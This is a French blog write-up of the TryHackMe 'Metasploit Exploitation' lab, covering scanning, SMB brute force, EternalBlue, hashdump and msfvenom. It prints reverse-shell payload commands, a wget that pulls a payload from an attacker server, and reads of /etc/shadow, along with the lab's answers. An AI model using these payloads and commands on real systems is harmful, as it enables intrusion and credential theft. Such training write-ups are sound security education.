Post

TryHackMe - Metasploit Exploitation

Write-up de la room Metasploit Exploitation - Approfondir nos connaissances sur le Framework Metasploit (Partie 2 sur 3)

TryHackMe - Metasploit Exploitation

Informations sur la room

Cette room propose une introduction approfondie aux composants principaux du Framework Metasploit, l’outil de pentesting le plus populaire dans l’industrie de la cybersécurité.

Lien : Metasploit Exploitation

Objectifs d’apprentissage

Cette room couvre les compétences suivantes :

  • Analyse des systèmes cibles à l’aide de Metasploit
  • Utilisation de la fonctionnalité de base de données Metasploit
  • Réalisation d’analyses de vulnérabilités avec Metasploit
  • Exploitation des services vulnérables sur les systèmes cibles
  • Création de payloads avec msfvenom pour obtenir des sessions Meterpreter

Solutions des tâches

Task 1 - Introduction

Lancez l’AttackBox ou connectez-vous avec le VPN de TryHackMe pour commencer.


Task 2 - Scanning

Concepts abordés

Cette tâche introduit plusieurs commandes essentielles pour le scan de ports avec Metasploit.

Recherche de modules de scan

La commande search portscan permet de rechercher tous les modules disponibles pour le scan de ports :

1
msf6 > search portscan

Résultat :

1
2
3
4
5
6
7
8
9
10
11
12
13
Matching Modules
================

   #  Name                                              Disclosure Date  Rank    Check  Description
   -  ----                                              ---------------  ----    -----  -----------
   0  auxiliary/scanner/http/wordpress_pingback_access                   normal  No     Wordpress Pingback Locator
   1  auxiliary/scanner/natpmp/natpmp_portscan                           normal  No     NAT-PMP External Port Scanner
   2  auxiliary/scanner/portscan/ack                                     normal  No     TCP ACK Firewall Scanner
   3  auxiliary/scanner/portscan/ftpbounce                               normal  No     FTP Bounce Port Scanner
   4  auxiliary/scanner/portscan/syn                                     normal  No     TCP SYN Port Scanner
   5  auxiliary/scanner/portscan/tcp                                     normal  No     TCP Port Scanner
   6  auxiliary/scanner/portscan/xmas                                    normal  No     TCP "XMas" Port Scanner
   7  auxiliary/scanner/sap/sap_router_portscanner                       normal  No     SAPRouter Port Scanner

Configuration du scanner TCP

Avant d’utiliser un module de scan, il est nécessaire de configurer certains paramètres :

1
msf6 auxiliary(scanner/portscan/tcp) > show options

Paramètres importants :

  • CONCURRENCY : Nombre de cibles pouvant être scannées simultanément
  • PORTS : Plage de ports à analyser (par défaut 1-10000)
  • RHOSTS : Adresse IP ou réseau cible à scanner
  • THREADS : Nombre de threads simultanés (plus il y en a, plus le scan est rapide)

La plage de ports par défaut dans Metasploit (1-10000) diffère de celle de Nmap, qui scanne les 1000 ports les plus courants. Metasploit analyse séquentiellement tous les ports dans la plage spécifiée.

Utilisation de Nmap dans Metasploit

Il est également possible d’exécuter directement Nmap depuis la console Metasploit :

1
msf6 > nmap -sS 10.10.12.229

Résultat du scan :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
Starting Nmap 7.60 ( https://nmap.org ) at 2021-08-20 03:54 BST
Nmap scan report for ip-10-10-12-229.eu-west-1.compute.internal (10.10.12.229)
Host is up (0.0011s latency).
Not shown: 992 closed ports
PORT      STATE SERVICE
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
3389/tcp  open  ms-wbt-server
49152/tcp open  unknown
49153/tcp open  unknown
49154/tcp open  unknown
49158/tcp open  unknown
MAC Address: 02:CE:59:27:C8:E3 (Unknown)

Nmap done: 1 IP address (1 host up) scanned in 64.19 seconds

Scanner UDP

Le module auxiliary/scanner/discovery/udp_sweep permet d’identifier rapidement les services UDP, notamment :

  • DNS (Domain Name System)
  • NetBIOS (protocole de communication réseau local)

Scanner SMB

Metasploit propose plusieurs modules spécialisés pour SMB (Server Message Block) :

  • smb_version : Identifie la version SMB
  • smb_enumshares : Énumère les partages réseau (utile en environnement d’entreprise)
1
2
3
4
5
msf6 auxiliary(scanner/smb/smb_version) > run

[+] 10.10.12.229:445 - Host is running Windows 7 Professional SP1 (build:7601) (name:JON-PC) (workgroup:WORKGROUP) (signatures:optional)
[*] 10.10.12.229:445 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

Questions et résolutions

Question 1 : How many ports are open on the target system?

J’ai utilisé le scanner TCP de Metasploit pour identifier les ports ouverts.

Configuration du module :

1
2
3
msf6 > use auxiliary/scanner/portscan/tcp
msf6 auxiliary(scanner/portscan/tcp) > set RHOSTS 10.10.217.202
msf6 auxiliary(scanner/portscan/tcp) > run

Résultat :

1
2
3
4
5
6
7
[+] 10.10.217.202 - 10.10.217.202:21 - TCP OPEN
[+] 10.10.217.202 - 10.10.217.202:22 - TCP OPEN
[+] 10.10.217.202 - 10.10.217.202:139 - TCP OPEN
[+] 10.10.217.202 - 10.10.217.202:445 - TCP OPEN
[+] 10.10.217.202 - 10.10.217.202:8000 - TCP OPEN
[*] 10.10.217.202 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

Cinq ports sont ouverts sur le système cible.

Réponse : 5


Question 2 : Using the relevant scanner, what NetBIOS name can you see?

Pour identifier le nom NetBIOS, j’ai utilisé le scanner UDP qui détecte automatiquement les services NetBIOS.

1
2
3
msf6 > use auxiliary/scanner/discovery/udp_sweep
msf6 auxiliary(scanner/discovery/udp_sweep) > set RHOSTS 10.10.217.202
msf6 auxiliary(scanner/discovery/udp_sweep) > run

Résultat :

1
2
3
4
[*] Sending 13 probes to 10.10.217.202->10.10.217.202 (1 hosts)
[*] Discovered NetBIOS on 10.10.217.202:137 (__MSBROWSE__:<01>:G ::<00>:U ::<03>:U ::<20>:U :ACME IT SUPPORT:<00>:G :ACME IT SUPPORT:<1d>:U :ACME IT SUPPORT:<1e>:G :00:00:00:00:00:00)
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

Le nom NetBIOS apparaît clairement dans les résultats.

Réponse : ACME IT SUPPORT


Question 3 : What is running on port 8000?

Pour identifier le service et sa version sur un port spécifique, j’ai utilisé Nmap avec l’option de détection de version.

1
msf6 > nmap -sS -sV 10.10.217.202

Résultat :

1
2
3
4
5
6
7
8
9
10
11
12
Starting Nmap 7.80 ( https://nmap.org ) at 2025-10-17 00:35 BST
Nmap scan report for 10.10.217.202
Host is up (0.0046s latency).
Not shown: 995 closed ports
PORT     STATE SERVICE     VERSION
21/tcp   open  ftp         ProFTPD
22/tcp   open  ssh         OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)
139/tcp  open  netbios-ssn Samba smbd 4.6.2
445/tcp  open  netbios-ssn Samba smbd 4.6.2
8000/tcp open  http        WebFS httpd 1.21
MAC Address: 02:53:AB:69:19:59 (Unknown)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Le service WebFS version 1.21 est en écoute sur le port 8000.

Réponse : webfs/1.21


Question 4 : What is the “penny” user’s SMB password? Use the wordlist mentioned in the previous task.

Pour effectuer une attaque par force brute sur le service SMB, j’ai utilisé le module smb_login.

1
2
3
4
5
msf6 > use auxiliary/scanner/smb/smb_login
msf6 auxiliary(scanner/smb/smb_login) > set RHOSTS 10.10.217.202
msf6 auxiliary(scanner/smb/smb_login) > set SMBUser penny
msf6 auxiliary(scanner/smb/smb_login) > set PASS_FILE /usr/share/wordlists/MetasploitRoom/MetasploitWordlist.txt
msf6 auxiliary(scanner/smb/smb_login) > run

Le module smb_login teste automatiquement chaque mot de passe de la wordlist jusqu’à trouver les bonnes credentials.

Réponse : leo1234


Task 3 - The Metasploit Database

Gestion des workspaces

Metasploit intègre une base de données PostgreSQL permettant d’organiser les projets via des workspaces dédiés.

Vérification du statut de la base de données :

1
2
msf6 > db_status
[*] Connected to msf. Connection type: postgresql.

Commandes de gestion des workspaces :

1
2
3
4
workspace          # Affiche le workspace actuel
workspace -a nom   # Crée un nouveau workspace
workspace -d nom   # Supprime un workspace
workspace -h       # Affiche l'aide

L’utilisation de workspaces permet de séparer les données de différents pentests et d’organiser efficacement vos résultats.


Task 4 - Vulnerability Scanning

Obtenir des informations sur un module

La commande info affiche des informations détaillées sur un module Metasploit, incluant :

  • Description du module
  • Options disponibles
  • Références de vulnérabilités
  • Auteur(s) du module
1
msf6 > info module_name

Question et résolution

Question : Who wrote the module that allows us to check SMTP servers for open relay?

Pour trouver l’auteur du module, j’ai d’abord recherché les modules SMTP liés aux relais ouverts.

1
msf6 > search SMTP relay

Résultat :

1
2
3
4
5
6
Matching Modules
================

   #  Name                               Disclosure Date  Rank    Check  Description
   -  ----                               ---------------  ----    -----  -----------
   0  auxiliary/scanner/smtp/smtp_relay                   normal  No     SMTP Open Relay Detection

Ensuite, j’ai consulté les informations détaillées du module :

1
2
msf6 > use auxiliary/scanner/smtp/smtp_relay
msf6 auxiliary(scanner/smtp/smtp_relay) > info

L’auteur du module apparaît dans les métadonnées.

Réponse : Campbell Murray


Task 5 - Exploitation

Exploitation d’EternalBlue

Cette section couvre l’exploitation de la vulnérabilité MS17-010 (EternalBlue) sur une machine Windows.

Configuration et lancement de l’exploit :

1
2
3
msf6 > use exploit/windows/smb/ms17_010_eternalblue
msf6 exploit(windows/smb/ms17_010_eternalblue) > set RHOSTS 10.10.X.X
msf6 exploit(windows/smb/ms17_010_eternalblue) > exploit

Une fois l’exploitation réussie, une session Meterpreter s’ouvre automatiquement.

Meterpreter est un payload avancé qui fournit une interface interactive pour la post-exploitation du système compromis.


Questions et résolutions

Question 1 : What is the content of the flag.txt file?

Après avoir obtenu une session Meterpreter, je me suis positionné à la racine du système.

1
meterpreter > cd /

Ensuite, j’ai recherché le fichier flag.txt sur l’ensemble du système :

1
meterpreter > search -f flag.txt

Résultat :

1
2
3
4
5
6
Found 1 result...
=================

Path                             Size (bytes)  Modified (UTC)
----                             ------------  --------------
c:\Users\Jon\Documents\flag.txt  15            2021-07-15 03:39:25 +0100

Lecture du contenu du fichier :

1
meterpreter > cat c:\\Users\\Jon\\Documents\\flag.txt

Réponse : THM-5455554845


Question 2 : What is the NTLM hash of the password of the user “pirate”?

Pour extraire les hashes des utilisateurs locaux, Meterpreter propose la commande hashdump.

1
meterpreter > hashdump

Résultat :

1
2
3
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
pirate:1001:aad3b435b51404eeaad3b435b51404ee:8ce9a3ebd1647fcc5e04025019f4b875:::

Le hash NTLM de l’utilisateur “pirate” correspond à la partie située entre les doubles deux-points.

Réponse : 8ce9a3ebd1647fcc5e04025019f4b875


Task 6 - Msfvenom

Introduction à Msfvenom

Msfvenom est l’outil de génération de payloads de Metasploit. Il remplace les anciens outils msfpayload et msfencode en combinant leurs fonctionnalités.

Fonctionnalités principales :

  • Génération de payloads personnalisés
  • Support de multiples formats de sortie (exe, elf, php, dll, etc.)
  • Compatibilité avec diverses plateformes (Windows, Linux, macOS, Android, etc.)
  • Encodage des payloads pour l’évasion antivirus

Exemples de génération de payloads :

Linux :

1
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=10.10.X.X LPORT=4444 -f elf > shell.elf

Windows :

1
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.X.X LPORT=4444 -f exe > shell.exe

PHP :

1
msfvenom -p php/meterpreter_reverse_tcp LHOST=10.10.X.X LPORT=4444 -f raw > shell.php

ASP :

1
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.X.X LPORT=4444 -f asp > shell.asp

Python :

1
msfvenom -p cmd/unix/reverse_python LHOST=10.10.X.X LPORT=4444 -f raw > shell.py

Exercice pratique : Exploitation complète

Étape 1 : Connexion SSH

Connexion au système cible avec les credentials fournis :

1
ssh murphy@10.10.52.128

Élévation de privilèges :

1
sudo su

Étape 2 : Création du payload

Génération d’un payload Meterpreter au format ELF pour Linux :

1
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=10.10.43.133 LPORT=4444 -f elf > shell.elf

Attribution des permissions d’exécution :

1
chmod +x shell.elf

Étape 3 : Transfert du payload

Démarrage d’un serveur web sur la machine attaquante :

1
python3 -m http.server 9000

Téléchargement du payload sur la machine cible via SSH :

1
2
wget http://10.10.138.232:9000/shell.elf
chmod +x shell.elf

Étape 4 : Configuration du handler

Dans Metasploit, configuration d’un handler pour recevoir la connexion inverse :

1
2
3
4
5
msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set PAYLOAD linux/x86/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set LHOST 10.10.43.133
msf6 exploit(multi/handler) > set LPORT 4444
msf6 exploit(multi/handler) > run

Étape 5 : Exécution du payload

Sur la machine cible via SSH :

1
./shell.elf

Une session Meterpreter s’ouvre automatiquement sur la machine attaquante.

Le module exploit/multi/handler est essentiel pour recevoir les connexions inverses de n’importe quel type de payload.


Question finale

Question : What is the other user’s password hash?

Une fois la session Meterpreter établie, lecture du fichier /etc/shadow contenant les hashes des mots de passe :

1
meterpreter > cat /etc/shadow

Extrait du résultat :

1
2
murphy:$6$qK0Kt4UO$HuCrlOJGbBJb5Av9SL7rEzbxcz/KZYFkMwUqAE0ZMDpNRmOHhPHeI2JU3m9OBOS7lUKkKMADLxCBcywzIxl7b.:18851:0:99999:7:::
claire:$6$Sy0NNIXw$SJ27WltHI89hwM5UxqVGiXidj94QFRm2Ynp9p9kxgVbjrmtMez9EqXoDWtcQd8rf0tjc77hBFbWxjGmQCTbep0:18851:0:99999:7:::

Le hash complet de l’utilisateur “claire” est visible dans la sortie.

Réponse : $6$Sy0NNIXw$SJ27WltHI89hwM5UxqVGiXidj94QFRm2Ynp9p9kxgVbjrmtMez9EqXoDWtcQd8rf0tjc77hBFbWxjGmQCTbep0:18851


Task 7 - Summary

Félicitations ! Vous avez complété cette room sur l’exploitation avec Metasploit. Vous maîtrisez maintenant :

  • Le scan de ports et de services avec Metasploit
  • L’utilisation de la base de données et des workspaces
  • L’exploitation de vulnérabilités connues
  • La création et l’utilisation de payloads personnalisés avec msfvenom
  • La post-exploitation avec Meterpreter

Room complétée

This post is licensed under CC BY 4.0 by the author.